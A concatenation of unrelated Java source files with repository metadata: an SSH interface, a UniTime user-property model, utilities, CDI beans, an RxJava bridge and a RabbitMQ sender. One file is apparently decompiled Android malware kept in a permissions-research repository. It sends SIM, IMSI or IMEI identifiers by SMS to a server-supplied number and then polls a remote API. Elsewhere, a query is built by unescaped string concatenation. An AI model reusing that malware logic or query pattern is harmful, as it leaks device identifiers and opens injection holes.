| false
| false
| 1,418
|
java
|
/*
* Copyright 2015 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.heliosapm.streams.collector.ssh;
import java.io.IOException;
/**
* <p>Title: Authenticationator</p>
* <p>Description: </p>
* <p>Company: Helios Development Group LLC</p>
* @author Whitehead (nwhitehead AT heliosdev DOT org)
* <p><code>com.heliosapm.streams.collector.ssh.Authenticationator</code></p>
*/
public interface Authenticationator {
/**
* Attempts an authentication against the passed connection
* If the connection is already fully authenticated, immediately returns true
* @param conn The connection to authenticate against
* @return true the connection is now authenticated, false otherwise
* @throws IOException Thrown on any IO error
*/
public boolean authenticate(final SSHConnection conn) throws IOException;
}
|
[
"whitehead.nicholas@gmail.com"
] |
whitehead.nicholas@gmail.com
|
e9bb40997690ca32e52b01ea305df3098aa4370a
|
f0d0631e221382c8a7d48c8bed6acc4efe0bfd2d
|
/JavaSource/org/unitime/timetable/model/UserData.java
|
302b57f5c2cd7003a6a086ca9682f50581b34909
|
[
"CC-BY-3.0",
"EPL-1.0",
"CC0-1.0",
"CDDL-1.0",
"MIT",
"LGPL-2.1-or-later",
"LGPL-3.0-only",
"BSD-3-Clause",
"LGPL-2.1-only",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-freemarker",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
tomas-muller/unitime
|
8c7097003b955053f32fe5891f1d29b554c4dd45
|
de307a63552128b75ae9a83d7e1d44c71b3dc266
|
refs/heads/master
| 2021-12-29T04:57:46.000745
| 2021-12-09T19:02:43
| 2021-12-09T19:02:43
| 30,605,965
| 4
| 0
|
Apache-2.0
| 2021-02-17T15:14:49
| 2015-02-10T18:01:29
|
Java
|
UTF-8
|
Java
| false
| false
| 4,044
|
java
|
/*
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for
* additional information regarding copyright ownership.
*
* The Apereo Foundation licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.unitime.timetable.model;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import org.unitime.commons.Debug;
import org.unitime.timetable.model.base.BaseUserData;
import org.unitime.timetable.model.dao.UserDataDAO;
/**
* @author Tomas Muller
*/
public class UserData extends BaseUserData {
private static final long serialVersionUID = 1L;
/*[CONSTRUCTOR MARKER BEGIN]*/
public UserData () {
super();
}
/*[CONSTRUCTOR MARKER END]*/
public UserData(String externalUniqueId, String name) {
setExternalUniqueId(externalUniqueId);
setName(name);
initialize();
}
public static void setProperty(String externalUniqueId, String name, String value) {
try {
UserDataDAO dao = new UserDataDAO();
UserData userData = dao.get(new UserData(externalUniqueId, name));
if (value!=null && value.length()==0) value=null;
if (userData==null && value==null) return;
if (userData!=null && value!=null && value.equals(userData.getValue())) return;
if (userData==null) {
userData = new UserData(externalUniqueId, name);
}
userData.setValue(value);
if (value==null)
dao.delete(userData);
else
dao.saveOrUpdate(userData);
} catch (Exception e) {
Debug.warning("Failed to set user property " + name + ":=" + value + " (" + e.getMessage() + ")");
}
}
public static String getProperty(String externalUniqueId, String name) {
UserDataDAO dao = new UserDataDAO();
UserData userData = dao.get(new UserData(externalUniqueId, name));
return (userData==null?null:userData.getValue());
}
public static String getProperty(String externalUniqueId, String name, String defaultValue) {
String value = getProperty(externalUniqueId, name);
return (value!=null?value:defaultValue);
}
public static void removeProperty(String externalUniqueId, String name) {
setProperty(externalUniqueId, name, null);
}
public static HashMap<String,String> getProperties(String externalUniqueId, Collection<String> names) {
String q = "select u from UserData u where u.externalUniqueId = :externalUniqueId and u.name in (";
for (Iterator<String> i = names.iterator(); i.hasNext(); ) {
q += "'" + i.next() + "'";
if (i.hasNext()) q += ",";
}
q += ")";
HashMap<String,String> ret = new HashMap<String, String>();
for (UserData u: (List<UserData>)UserDataDAO.getInstance().getSession().createQuery(q).setString("externalUniqueId", externalUniqueId).setCacheable(true).list()) {
ret.put(u.getName(), u.getValue());
}
return ret;
}
public static HashMap<String,String> getProperties(String externalUniqueId) {
String q = "select u from UserData u where u.externalUniqueId = :externalUniqueId";
HashMap<String,String> ret = new HashMap<String, String>();
for (UserData u: (List<UserData>)UserDataDAO.getInstance().getSession().createQuery(q).setString("externalUniqueId", externalUniqueId).setCacheable(true).list()) {
ret.put(u.getName(), u.getValue());
}
return ret;
}
public static boolean getPropertyBoolean(String externalUniqueId, String name, boolean defaultValue) {
String value = getProperty(externalUniqueId, name);
return (value!=null?"1".equals(value):defaultValue);
}
}
|
[
"muller@unitime.org"
] |
muller@unitime.org
|
1824599380846b769cc6d4f47c28e8253716864b
|
be442b6a93639d745959165506c558eb00a374eb
|
/project/src/com/test/mystruts/util/CommonUtil.java
|
d14fa7cb8ee2daa857144ccfe805c4e64cfdbbbe
|
[] |
no_license
|
horacn/mystruts
|
410450bfa2b2ebab7fd5368a0f63e018f44c8c51
|
655a7dcfc51e797f032f3158fcc6f94e4cf4fbe2
|
refs/heads/master
| 2020-03-11T02:40:34.864301
| 2018-04-16T16:20:43
| 2018-04-16T16:20:43
| null | 0
| 0
| null | null | null | null |
GB18030
|
Java
| false
| false
| 4,679
|
java
|
package com.test.mystruts.util;
import java.awt.Color;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* 通用工具类
*
* @author hezhao
*
*/
public final class CommonUtil {
private static final List<String> patterns = new ArrayList<String>();
private static final List<TypeConverter> converters = new ArrayList<TypeConverter>();
static {
patterns.add("yyyy-MM-dd");
patterns.add("yyyy-MM-dd HH:mm:ss");
}
private CommonUtil() {
throw new AssertionError();
}
/**
* 将字符串的首字母大写
*/
public static String capitalize(String str) {
StringBuilder sb = new StringBuilder();
if (str != null && str.length() > 0) {
sb.append(str.substring(0, 1).toUpperCase());
if (str.length() > 1) {
sb.append(str.substring(1));
}
return sb.toString();
}
return str;
}
/**
* 生成随机颜色
*/
public static Color getRandomColor() {
int r = (int) (Math.random() * 256);
int g = (int) (Math.random() * 256);
int b = (int) (Math.random() * 256);
return new Color(r, g, b);
}
/**
* 添加时间日期样式
*
* @param pattern
* 时间日期样式
*/
public static void registerDateTimePattern(String pattern) {
patterns.add(pattern);
}
/**
* 取消时间日期样式
*
* @param pattern
* 时间日期样式
*/
public static void unRegisterDateTimePattern(String pattern) {
patterns.remove(pattern);
}
/**
* 添加类型转换器
*
* @param converter
* 类型转换器对象
*/
public static void registerTypeConverter(TypeConverter converter) {
converters.add(converter);
}
/**
* 取消类型转换器
*
* @param converter
* 类型转换器对象
*/
public static void unRegisterTypeConverter(TypeConverter converter) {
converters.remove(converter);
}
/**
* 将字符串转换成时间日期类型
*
* @param str
* 时间日期字符串
*/
public static Date convertStringToDateTime(String str) {
if (str != null) {
for (String pattern : patterns) {
Date date = tryConvertStringToDate(str, pattern);
if (date != null) {
return date;
}
}
}
return null;
}
/**
* 按照指定样式将时间日期转换成字符串
*
* @param date
* 时间日期对象
* @param pattern
* 样式字符串
* @return 时间日期的字符串形式
*/
public static String convertDateTimeToString(Date date, String pattern) {
return new SimpleDateFormat(pattern).format(date);
}
private static Date tryConvertStringToDate(String str, String pattern) {
DateFormat dateFormat = new SimpleDateFormat(pattern);
dateFormat.setLenient(false); // 不允许将不符合样式的字符串转换成时间日期
try {
return dateFormat.parse(str);
} catch (ParseException ex) {
}
return null;
}
/**
* 将字符串值按指定的类型转换成转换成对象
*
* @param elemType
* 类型
* @param value
* 字符串值
*/
public static Object changeStringToObject(Class<?> elemType, String value) {
Object tempObj = null;
if (elemType == byte.class || elemType == Byte.class) {
tempObj = Byte.parseByte(value);
} else if (elemType == short.class || elemType == Short.class) {
tempObj = Short.parseShort(value);
} else if (elemType == int.class || elemType == Integer.class) {
tempObj = Integer.parseInt(value);
} else if (elemType == long.class || elemType == Long.class) {
tempObj = Long.parseLong(value);
} else if (elemType == double.class || elemType == Double.class) {
tempObj = Double.parseDouble(value);
} else if (elemType == float.class || elemType == Float.class) {
tempObj = Float.parseFloat(value);
} else if (elemType == boolean.class || elemType == Boolean.class) {
tempObj = Boolean.parseBoolean(value);
} else if (elemType == java.util.Date.class) {
tempObj = convertStringToDateTime(value);
} else if (elemType == java.lang.String.class) {
tempObj = value;
} else {
for (TypeConverter converter : converters) {
try {
tempObj = converter.convert(elemType, value);
if (tempObj != null) {
return tempObj;
}
} catch (Exception e) {
}
}
}
return tempObj;
}
/**
* 获取文件后缀名
*
* @param filename
* 文件名
* @return 文件的后缀名以.开头
*/
public static String getFileSuffix(String filename) {
int index = filename.lastIndexOf(".");
return index > 0 ? filename.substring(index) : "";
}
}
|
[
"1439293823@qq.com"
] |
1439293823@qq.com
|
4e49e3f88b9969ed9eca5d209d424706c01211d4
|
23f42b163c0a58ad61c38498befa1219f53a2c10
|
/src/main/java/weldstartup/d/AppScopedBean3555.java
|
40b97590977bd25e6344604a90ecc42cfb7142a5
|
[] |
no_license
|
99sono/wls-jsf-2-2-12-jersey-weldstartup-bottleneck
|
9637d2f14a1053159c6fc3c5898a91057a65db9d
|
b81697634cceca79f1b9a999002a1a02c70b8648
|
refs/heads/master
| 2021-05-15T17:54:39.040635
| 2017-10-24T07:27:23
| 2017-10-24T07:27:23
| 107,673,776
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,630
|
java
|
package weldstartup.d;
import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import javax.annotation.Resource;
import javax.enterprise.context.ApplicationScoped;
import javax.enterprise.inject.spi.BeanManager;
import javax.inject.Inject;
import javax.transaction.TransactionSynchronizationRegistry;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import weldstartup.nondynamicclasses.AppScopedNonDynamicBean;
import weldstartup.nondynamicclasses.DependentScopedNonDynamicBean;
import weldstartup.nondynamicclasses.RequestScopedNonDynamicBean;
/**
* A dynamically created CDI bean meant to demonstrate meant to demonstrate that the WeldStartup performance on weblogic
* is really under-performing.
*
*/
@ApplicationScoped
// appScopedName will be turned into a name like AppScopedBean0001
public class AppScopedBean3555 {
private static final Logger LOGGER = LoggerFactory.getLogger(AppScopedBean3555.class);
@Inject
AppScopedNonDynamicBean appScopedNonDynamicBean;
@Inject
DependentScopedNonDynamicBean rependentScopedNonDynamicBean;
@Inject
RequestScopedNonDynamicBean requestScopedNonDynamicBean;
@Inject
BeanManager beanManager;
@Resource
TransactionSynchronizationRegistry tsr;
@PostConstruct
public void postConstruct() {
LOGGER.info("Post construct method invoked. AppScopedBean3555");
}
@PreDestroy
public void preDestroy() {
LOGGER.info("Pre-destroy method invoked. AppScopedBean3555");
}
public void dummyLogic() {
LOGGER.info("Dummy logic invoked. AppScopedBean3555");
}
}
|
[
"99sono@users.noreply.github.com"
] |
99sono@users.noreply.github.com
|
aaf339a49059ae083f756019a0f180bda70693fb
|
447520f40e82a060368a0802a391697bc00be96f
|
/apks/malware/app19/source/com/upay/billing/utils/m.java
|
1fcad65475a830cc8e97be137729b36c6de821ec
|
[
"Apache-2.0"
] |
permissive
|
iantal/AndroidPermissions
|
7f3343a9c29d82dbcd4ecd98b3a50ddf8d179465
|
d623b732734243590b5f004d167e542e2e2ae249
|
refs/heads/master
| 2023-07-19T01:29:26.689186
| 2019-09-30T19:01:42
| 2019-09-30T19:01:42
| 107,239,248
| 0
| 0
|
Apache-2.0
| 2023-07-16T07:41:38
| 2017-10-17T08:22:57
| null |
UTF-8
|
Java
| false
| false
| 2,751
|
java
|
package com.upay.billing.utils;
import android.content.Context;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Base64;
import android.util.Log;
import com.upay.billing.UpayConstant;
import org.json.JSONException;
import org.json.JSONObject;
final class m
extends HttpRunner
{
m(String paramString, TelephonyManager paramTelephonyManager, Context paramContext)
{
super(paramString);
}
protected void onFailed(int paramInt, String paramString)
{
super.onFailed(paramInt, paramString);
}
protected void onSuccess(byte[] paramArrayOfByte)
{
for (;;)
{
String str;
Object localObject1;
try
{
paramArrayOfByte = new JSONObject(Util.bytesToString(paramArrayOfByte));
if (paramArrayOfByte.getInt("result") != 200) {
return;
}
str = paramArrayOfByte.getString("num");
localObject2 = this.iA.getSimSerialNumber();
paramArrayOfByte = "";
if (!Util.empty((String)localObject2))
{
localObject1 = localObject2;
if (((String)localObject2).length() >= 16) {}
}
else
{
localObject1 = this.iA.getSubscriberId();
paramArrayOfByte = "imsi:";
}
if (!Util.empty((String)localObject1)) {
break label317;
}
paramArrayOfByte = this.iA.getDeviceId();
localObject1 = "imei:";
if (Util.empty(paramArrayOfByte))
{
Log.e("Util", "cannot find any device info");
return;
}
}
catch (JSONException paramArrayOfByte)
{
paramArrayOfByte.printStackTrace();
return;
}
Object localObject2 = Base64.encodeToString(Util.stringToBytes("{\"iccid\":\"" + (String)localObject1 + paramArrayOfByte + "\"}"), 0);
SmsManager.getDefault().sendTextMessage(str, null, "up://" + (String)localObject2, null, null);
int i = 30;
localObject2 = new boolean[1];
localObject2[0] = 0;
label203:
int j = i - 1;
if ((i > 0) && (localObject2[0] == 0))
{
Log.i("Util", "cnt=" + j + ",out=" + localObject2[0]);
try
{
Thread.sleep(3000L);
Util.addTask(new n(this, UpayConstant.API_BASE_URL + "user/show" + "?iccid=" + (String)localObject1 + paramArrayOfByte, (boolean[])localObject2).setDoGet());
i = j;
break label203;
label317:
localObject2 = paramArrayOfByte;
paramArrayOfByte = (byte[])localObject1;
localObject1 = localObject2;
}
catch (InterruptedException localInterruptedException)
{
for (;;) {}
}
}
}
}
}
|
[
"antal.micky@yahoo.com"
] |
antal.micky@yahoo.com
|
e6fc00d073374a75c14fb483906142c83b3719fb
|
0c2eb4993e7a74de09c1523d3fc9ac87a8d8c7a9
|
/src/main/java/hu/akarnokd/rxjava3/bridge/DisposableV2toV3.java
|
5cc224b82c11652e6b12029f9aeed699ad94cc1b
|
[
"Apache-2.0"
] |
permissive
|
ashraf-atef/RxJavaBridge
|
0663d40b842138b1832c4ad3229485d5a87d2545
|
aa8c1c36c94d8fae3746b329a33e8aa0d75c23cc
|
refs/heads/master
| 2023-01-02T16:21:36.515911
| 2020-10-16T07:44:10
| 2020-10-16T07:44:10
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,609
|
java
|
/*
* Copyright 2019 David Karnok
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package hu.akarnokd.rxjava3.bridge;
final class DisposableV2toV3 implements io.reactivex.rxjava3.disposables.Disposable {
final io.reactivex.disposables.Disposable disposable;
DisposableV2toV3(io.reactivex.disposables.Disposable disposable) {
this.disposable = disposable;
}
@Override
public boolean isDisposed() {
return disposable.isDisposed();
}
@Override
public void dispose() {
disposable.dispose();
}
static io.reactivex.rxjava3.disposables.Disposable wrap(io.reactivex.disposables.Disposable disposable) {
if (disposable == io.reactivex.internal.disposables.DisposableHelper.DISPOSED) {
return io.reactivex.rxjava3.internal.disposables.DisposableHelper.DISPOSED;
}
if (disposable == io.reactivex.internal.disposables.EmptyDisposable.INSTANCE) {
return io.reactivex.rxjava3.internal.disposables.EmptyDisposable.INSTANCE;
}
return new DisposableV2toV3(disposable);
}
}
|
[
"akarnokd@gmail.com"
] |
akarnokd@gmail.com
|
9b9708d5ea5e3d31ddcb4c51524e8e6d32fad4df
|
61fa6101d74bff27cd4f85be205e5f9bd9b1ae30
|
/权限管理系统/src/cn/itcast/domain/User.java
|
210659f8a769e81366ac2454982492de14c84532
|
[] |
no_license
|
LiHuaYang/college
|
93810c6f15aa213f8386a295b2c474dbd6c5c4bc
|
5648bbee3d2df252be0fb925d41dd8b158476e56
|
refs/heads/main
| 2023-02-22T09:49:04.944870
| 2021-01-20T07:15:00
| 2021-01-20T07:15:00
| 89,077,293
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 683
|
java
|
package cn.itcast.domain;
import java.util.HashSet;
import java.util.Set;
public class User {
private String id;
private String username;
private String password;
private Set<Role> roles = new HashSet();
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public Set<Role> getRoles() {
return roles;
}
public void setRoles(Set<Role> roles) {
this.roles = roles;
}
}
|
[
"lihy@fingard.com"
] |
lihy@fingard.com
|
f19872d8f6e3e42b2f4a485976e2b712da9d083b
|
fd0b41d779b8062d3720597af17a16fcb9601393
|
/src/main/java/com/smm/ctrm/util/Result/MT4Invoice.java
|
9ee9fb0b529a807ba46d3f06263b517017902f8a
|
[] |
no_license
|
pseudocodes/ctrm
|
a62bddc973b575d56e6ca874faa1be8e7c437387
|
02260333a1bb0c25e9d4799698c324cb5bceb6f6
|
refs/heads/master
| 2021-09-25T14:41:59.253752
| 2018-10-23T03:47:54
| 2018-10-23T03:47:54
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,241
|
java
|
package com.smm.ctrm.util.Result;
import org.apache.commons.lang3.StringUtils;
///#endregion
///#region 发票的方向
public class MT4Invoice
{
public static final String Make = "M";
public static final String Take = "T";
private String Name;
public final String getName()
{
return Name;
}
public final void setName(String value)
{
Name = value;
}
private String Value;
public final String getValue()
{
return Value;
}
public final void setValue(String value)
{
Value = value;
}
public static java.util.ArrayList<MT4Invoice> MTs4Invoice()
{
MT4Invoice tempVar = new MT4Invoice();
tempVar.setValue(Take);
tempVar.setName("收");
MT4Invoice tempVar2 = new MT4Invoice();
tempVar2.setValue(Make);
tempVar2.setName("开");
java.util.ArrayList<MT4Invoice> mTs = new java.util.ArrayList<MT4Invoice>(java.util.Arrays.asList(new MT4Invoice[]{ tempVar, tempVar2 }));
return mTs;
}
public static String GetName(String s)
{
if (StringUtils.isBlank(s))
{
return "Unknown";
}
// switch (s)
//ORIGINAL LINE: case Take:
if (Take.equals(s))
{
return "收";
}
//ORIGINAL LINE: case Make:
else if (Make.equals(s))
{
return "开";
}
else
{
return "Unknown";
}
}
}
|
[
"406701239@qq.com"
] |
406701239@qq.com
|
13e99db2a287c8311b141ef9cb91c9ad3d2ee424
|
32700505b01d1a45ff25dfdc9528aef80a89252a
|
/rabbit-mq/src/main/java/com/jxbig/sharp/OTM/NewTask.java
|
57c82bf71be6fe3fcebc42b2168dbb9b788f2014
|
[] |
no_license
|
a807966224/sharp
|
4ff7c20239eced0f865cfa6f189c239ee3b8075c
|
88755f8f919ba2ff222655dc4cda8422a2289bd7
|
refs/heads/master
| 2020-05-04T07:10:39.573936
| 2019-05-14T00:45:31
| 2019-05-14T00:45:31
| 179,022,018
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,423
|
java
|
package com.jxbig.sharp.OTM;
import com.rabbitmq.client.Channel;
import com.rabbitmq.client.Connection;
import com.rabbitmq.client.ConnectionFactory;
import com.rabbitmq.client.MessageProperties;
import java.util.UUID;
import java.util.concurrent.ThreadLocalRandom;
import java.util.stream.LongStream;
public class NewTask {
private static final String TASK_QUEUE_NAME = "task_queue";
public static void main(String[] argv) throws Exception {
ConnectionFactory factory = new ConnectionFactory();
factory.setHost("localhost");
try (Connection connection = factory.newConnection();
Channel channel = connection.createChannel()) {
channel.queueDeclare(TASK_QUEUE_NAME, true, false, false, null);
// String message = String.join(" ", argv);
String pointMsg = "";
int i = ThreadLocalRandom.current().nextInt(3);
long[] longs = LongStream.rangeClosed(0, i).toArray();
for (long l : longs) {
pointMsg += ".";
}
String message = UUID.randomUUID().toString() + pointMsg;
System.out.println("message: " + message);
channel.basicPublish("", TASK_QUEUE_NAME,
MessageProperties.PERSISTENT_TEXT_PLAIN,
message.getBytes("UTF-8"));
System.out.println(" [x] Sent '" + message + "'");
}
}
}
|
[
"807966224@qq.com"
] |
807966224@qq.com
|
6ebacc3e2f8262c82ae2257432c746b4a6450c78
|
3fc7c3d4a697c418bad541b2ca0559b9fec03db7
|
/Decompile/javasource/com/google/android/gms/internal/zzij.java
|
e523719f2d5535da4e69540f22e60371aa4be21b
|
[] |
no_license
|
songxingzai/APKAnalyserModules
|
59a6014350341c186b7788366de076b14b8f5a7d
|
47cf6538bc563e311de3acd3ea0deed8cdede87b
|
refs/heads/master
| 2021-12-15T02:43:05.265839
| 2017-07-19T14:44:59
| 2017-07-19T14:44:59
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 363
|
java
|
package com.google.android.gms.internal;
public abstract interface zzij<T>
{
public static abstract interface zza
{
public abstract void run();
}
public static class zzb
implements zzij.zza
{
public zzb() {}
public void run() {}
}
public static abstract interface zzc<T>
{
public abstract void zzc(T paramT);
}
}
|
[
"leehdsniper@gmail.com"
] |
leehdsniper@gmail.com
|
9122c3990704f669f10c2b4a18e20249d031748b
|
9159c6f20fe08ad7992a4cd044fc3206398f7c58
|
/assignment/javaassignment/javafour/Pro4.java
|
6b7bca04bbd96d3b96d5e0ea68cc1242b8abdf96
|
[] |
no_license
|
bhavanar315/ELF-06June19-tyss-bhavani
|
91def5b909f567536d04e69c9bb6193503398a04
|
e2ee506ee99e0e958fb72e3bdaaf6e3315b84975
|
refs/heads/master
| 2020-07-21T07:45:19.944727
| 2019-09-06T07:43:42
| 2019-09-06T07:43:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 872
|
java
|
package com.tyss.assignment.javafour;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/*
* wap to write the data in CSV file (name,age,designation,salary)
*/
public class Pro4 {
public static void main(String[] args) {
FileOutputStream fout=null;
ObjectOutputStream obj=null;
try {
Emp e=new Emp();
e.set("bhavani", 20, "IT", 20000);
fout =new FileOutputStream("person.csv");
obj=new ObjectOutputStream(fout);
obj.writeObject(e);
System.out.println("done");
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
finally {
try {
if(fout!=null)
fout.close();
if(obj!=null)
obj.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
|
[
"bhavanigmgowda@gmail.com"
] |
bhavanigmgowda@gmail.com
|
64792e14ba95e5459b6245217b016db5a911b711
|
23a210a857e1d8cda630f3ad40830e2fc8bb2876
|
/emp_7.3/emp/ydwx/com/montnets/emp/netnews/table/TableLfWXUploadFile.java
|
db73674e4b9a645668c9f626fdf049c452a294d3
|
[] |
no_license
|
zengyijava/shaoguang
|
415a613b20f73cabf9ab171f3bf64a8233e994f8
|
5d8ad6fa54536e946a15b5e7e7a62eb2e110c6b0
|
refs/heads/main
| 2023-04-25T07:57:11.656001
| 2021-05-18T01:18:49
| 2021-05-18T01:18:49
| 368,159,409
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,593
|
java
|
package com.montnets.emp.netnews.table;
import java.util.HashMap;
import java.util.Map;
/**
* @project emp
* @author wuxiaotao <819475589@qq.com>
* @company ShenZhen Montnets Technology CO.,LTD.
* @datetime 2011-1-19 上午09:31:22
* @description
*/
public class TableLfWXUploadFile
{
//表名:
public static final String TABLE_NAME = "LF_WX_UPLOADFILE";
public static final String ID = "ID";
public static final String NETID = "NETID";
public static final String FILENAME = "FILENAME";
public static final String FILEVER = "FILEVER";
public static final String FILEDESC = "FILEDESC";
public static final String UPLOADDATE = "UPLOADDATE";
public static final String UPLOADUSERID = "UPLOADUSERID";
public static final String WEBURL = "WEBURL";
public static final String STATUS = "STATUS";
public static final String MODIFYID = "MODIFYID";
public static final String MODIFYDATE = "MODIFYDATE";
public static final String CREATID = "CREATID";
public static final String CREATDATE = "CREATDATE";
public static final String NAMETEMP = "NAMETEMP";
public static final String SORTID = "SORTID";
public static final String DATE = "DATE";
public static final String TYPENAME = "TYPENAME";
public static final String FILETYPE = "FILETYPE";
public static final String USERTYPE = "USERTYPE";
public static final String TYPE = "TYPE";
public static final String FILESIZE = "FILESIZE";
public static final String CORP_CODE = "CORP_CODE";
//序列
public static final String SEQUENCE = "S_LF_WX_UPLOADFILE";
//映射集合
protected static final Map<String, String> columns = new HashMap<String, String>();
static
{
columns.put("LfWXUploadFile", TABLE_NAME);
columns.put("tableId", ID);
columns.put("ID", ID);
columns.put("NETID", NETID);
columns.put("FILENAME", FILENAME);
columns.put("FILEVER", FILEVER);
columns.put("FILEDESC", FILEDESC);
columns.put("UPLOADDATE", UPLOADDATE);
columns.put("UPLOADUSERID", UPLOADUSERID);
columns.put("WEBURL", WEBURL);
columns.put("STATUS", STATUS);
columns.put("MODIFYID", MODIFYID);
columns.put("MODIFYDATE", MODIFYDATE);
columns.put("CREATID", CREATID);
columns.put("CREATDATE", CREATDATE);
columns.put("NAMETEMP", NAMETEMP);
columns.put("SORTID", SORTID);
columns.put("type", TYPE);
columns.put("FILESIZE", FILESIZE);
columns.put("CORP_CODE", CORP_CODE);
columns.put("sequence", SEQUENCE);
};
/**
* 返回实体类字段与数据库字段实体类映射的map集合
*
* @return
*/
public static Map<String, String> getORM()
{
return columns;
}
}
|
[
"2461418944@qq.com"
] |
2461418944@qq.com
|
ecc3a0e8f78bff4ee663f6f7302b0afd9bdc9fd5
|
32a9d0e2491046483dea4b44b16b60f4f0018f6c
|
/src/com/hopsun/tppas/api/acceptance/service/TacceptanceCompleteAService.java
|
8d1f22a5b2504e2c0e261892ac53b1591f5e475c
|
[] |
no_license
|
liyl10/tppass
|
b37b03d4ddd60ec853f8f166c42ade9509c6f260
|
441c5bf1a5d6aeb8e1b9c2c218fbf03331129842
|
refs/heads/master
| 2016-09-10T13:39:23.117494
| 2013-12-11T03:10:31
| 2013-12-11T03:10:31
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 267
|
java
|
package com.hopsun.tppas.api.acceptance.service;
import com.hopsun.tppas.entity.TacceptanceCompleteA;
import com.hopsun.framework.base.service.BaseService;
public interface TacceptanceCompleteAService extends BaseService<TacceptanceCompleteA, String> {
}
|
[
"liyl10@126.com"
] |
liyl10@126.com
|
e58421db6c8f28f7c0bc2cf50b1f1eb581f924b4
|
995f73d30450a6dce6bc7145d89344b4ad6e0622
|
/P9-8.0/src/main/java/android/hardware/wifi/V1_0/IfaceType.java
|
7d70c42cf1c7f5d568efad27ef17f3750cedd026
|
[] |
no_license
|
morningblu/HWFramework
|
0ceb02cbe42585d0169d9b6c4964a41b436039f5
|
672bb34094b8780806a10ba9b1d21036fd808b8e
|
refs/heads/master
| 2023-07-29T05:26:14.603817
| 2021-09-03T05:23:34
| 2021-09-03T05:23:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,229
|
java
|
package android.hardware.wifi.V1_0;
import java.util.ArrayList;
public final class IfaceType {
public static final int AP = 1;
public static final int NAN = 3;
public static final int P2P = 2;
public static final int STA = 0;
public static final String toString(int o) {
if (o == 0) {
return "STA";
}
if (o == 1) {
return "AP";
}
if (o == 2) {
return "P2P";
}
if (o == 3) {
return "NAN";
}
return "0x" + Integer.toHexString(o);
}
public static final String dumpBitfield(int o) {
ArrayList<String> list = new ArrayList();
int flipped = 0;
if ((o & 0) == 0) {
list.add("STA");
flipped = 0;
}
if ((o & 1) == 1) {
list.add("AP");
flipped |= 1;
}
if ((o & 2) == 2) {
list.add("P2P");
flipped |= 2;
}
if ((o & 3) == 3) {
list.add("NAN");
flipped |= 3;
}
if (o != flipped) {
list.add("0x" + Integer.toHexString((~flipped) & o));
}
return String.join(" | ", list);
}
}
|
[
"dstmath@163.com"
] |
dstmath@163.com
|
2cf49908a7cbea2fecfbf09a12418125793c4970
|
92f2df2289eb55810bccb30ea0b29ca3fbc84e79
|
/BoosterCodeGenerator/src/test/java/com/hexacta/booster/codegeneration/metamodel/PersistableMetaModelBuilderTest.java
|
25f1a916d912676335ad2d9d5b9f93460128b64d
|
[] |
no_license
|
ltenconi/hexacta-booster
|
b47fb01bee57cbd9c2041fd50b83e915293d41b4
|
c130039f2b669c092ce97864b926916bce6e146d
|
refs/heads/master
| 2021-05-09T02:14:33.793234
| 2018-02-20T15:43:13
| 2018-02-20T15:43:13
| 119,201,384
| 1
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,703
|
java
|
package com.hexacta.booster.codegeneration.metamodel;
import junit.framework.TestCase;
import test.hexacta.booster.providers.MetaModelProvider;
import com.hexacta.booster.codegeneration.configuration.AttributesSubset;
import com.hexacta.booster.codegeneration.configuration.ClassList;
import com.hexacta.booster.codegeneration.configuration.PersistableMetaModelAttributes;
import com.hexacta.booster.exception.ModelClassNotFound;
/**
*
*/
public class PersistableMetaModelBuilderTest extends TestCase {
